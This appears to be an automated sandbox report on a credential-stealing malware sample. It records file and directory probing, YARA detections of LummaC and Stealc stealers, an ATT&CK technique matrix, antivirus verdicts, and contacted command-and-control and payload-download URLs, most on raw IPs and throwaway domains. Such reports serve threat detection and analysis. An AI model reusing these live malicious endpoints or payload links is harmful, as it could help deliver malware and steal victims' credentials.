Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EVCMENBQHP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MOCYNWGDZO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\OVWVVIANZH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QEURJOJQOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QEURJOJQOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EVCMENBQHP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WHZAGPPPLA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\OVWVVIANZH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QEURJOJQOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MOCYNWGDZO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QEURJOJQOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\EVCMENBQHP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\QEURJOJQOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\WHZAGPPPLA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\EVCMENBQHP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\QEURJOJQOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\QEURJOJQOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\MOCYNWGDZO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\MOCYNWGDZO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\QEURJOJQOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\WHZAGPPPLA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\MOCYNWGDZO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\WHZAGPPPLA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\EVCMENBQHP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\EVCMENBQHP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Directory queried: C:\Users\user\Documents\QEURJOJQOH	Jump to behavior

Source: Yara match	File source: 11.3.skotes.exe.19e3ba0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000003.2249103962.00000000019F2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2249053450.00000000019ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1550531909.0000000001109000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2194128848.00000000019EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2631387587.0000000000726000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: skotes.exe PID: 4308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9de8348ea3.exe PID: 7264, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: skotes.exe PID: 4308, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: file.exe PID: 7444, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 26.2.cc1af330ba.exe.5a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.2630286475.00000000005A1000.00000040.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2613988811.0000000005000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2643463076.000000000148C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Windows Service	3 Obfuscated Files or Information	Security Account Manager	12 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	11 Registry Run Keys / Startup Folder	412 Process Injection	12 Software Packing	NTDS	235 System Information Discovery	Distributed Component Object Model	Input Capture	125 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	371 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	371 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	37%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002449001\90f56e27b8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[3].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	53%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\wintoolsone64[1].exe	24%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	53%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe	24%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	53%	ReversingLabs	Win32.Packed.Themida

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://185.215.113.43/Zu7JuNko/index.php	100%	URL Reputation	phishing
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
cdn.discordapp.com	162.159.129.233	true	false	unknown
necklacedmny.store	188.114.96.3	true	true	unknown
presticitpo.store	unknown	unknown	true	unknown
thumbystriw.store	unknown	unknown	true	unknown
time.windows.com	unknown	unknown	false	unknown
crisiwarny.store	unknown	unknown	true	unknown
fadehairucw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.43/Zu7JuNko/index.php	true	URL Reputation: phishing	unknown
http://185.215.113.206/6c4adf523b719729.php	true		unknown
goalyfeastz.site	true		unknown
seallysl.site	true		unknown
dilemmadu.site	true		unknown
contemteny.site	true		unknown
opposezmny.site	true		unknown
http://185.215.113.16/luma/random.exe	true		unknown
https://cdn.discordapp.com/attachments/1286706039475015741/1300800513197211749/Set-up.exe?ex=67222862&is=6720d6e2&hm=d01a7bee1160eeac6493be73ac5a9fb5606137c43133be4b96f4d7c4370940c5&	false		unknown
servicedny.site	true		unknown
https://necklacedmny.store/api	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000000.00000003.1547441737.0000000001120000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2234952879.00000000019F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/aws/jsii	wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp	false		unknown
http://185.215.113.16/luma/random.exeM$	axplong.exe, 00000014.00000002.2643417791.0000000001594000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/well/random.exe61395d7f	skotes.exe, 00000006.00000002.2631479541.000000000062E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.discordapp.com/3	axplong.exe, 00000014.00000002.2643417791.0000000001548000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.php2eP	skotes.exe, 00000006.00000002.2631479541.000000000062E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.43/Zu7JuNko/index.phpncoded	skotes.exe, 00000006.00000002.2631479541.000000000062E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/luma/random.exe450	skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/well/random.exe6jZ	skotes.exe, 00000006.00000002.2631479541.0000000000605000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpKwe	skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.topografix.com/GPX/1/1	wintoolsone64.exe, 00000012.00000002.2666308747.000000000211E000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/fac00b58987e8f8e6b1ca72dd534db057eb410a4903	skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.opengis.net/gml/3.2	wintoolsone64.exe, 00000012.00000002.2666308747.000000000211E000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/well/random.exe.jr	skotes.exe, 00000006.00000002.2631479541.0000000000605000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpKwY	skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/off/def.exee	file.exe, 00000000.00000003.1673101508.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpUsers	axplong.exe, 00000014.00000002.2643417791.0000000001594000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/well/random.exe	skotes.exe, 00000006.00000002.2631479541.000000000062E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2631479541.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/$	skotes.exe, 0000000B.00000003.2485927274.00000000019C4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/random.exeT	skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/luma/random.exe:	skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://aws.amazon.com	wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp	false		unknown
http://185.215.113.16/luma/random.exe7	axplong.exe, 00000014.00000002.2643417791.0000000001594000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/~	skotes.exe, 0000000B.00000003.2192419611.00000000061EA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/well/random.exea5B	skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://31.41.244.11/files/wintoolsone64.exe	skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2631479541.0000000000605000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/steam/random.exentoolsone64.exe	skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/..H	9de8348ea3.exe, 00000019.00000002.2631387587.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://31.41.244.11/files/wintoolsone64.exe&	skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpKw4	axplong.exe, 00000014.00000002.2643417791.0000000001594000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	skotes.exe, 0000000B.00000003.2218705669.00000000064F2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/p	skotes.exe, 0000000B.00000003.2486073608.000000000197C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/aws/jsii.git	wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp	false		unknown
https://necklacedmny.store/Z	skotes.exe, 0000000B.00000003.2249053450.00000000019ED000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apiRpY	skotes.exe, 0000000B.00000003.2486073608.000000000197C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apib	skotes.exe, 0000000B.00000003.2192341104.00000000061E0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpKw)	skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://31.41.244.11/files/wintoolsone64.exe?	skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/aws/jsii/issues	wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp	false		unknown
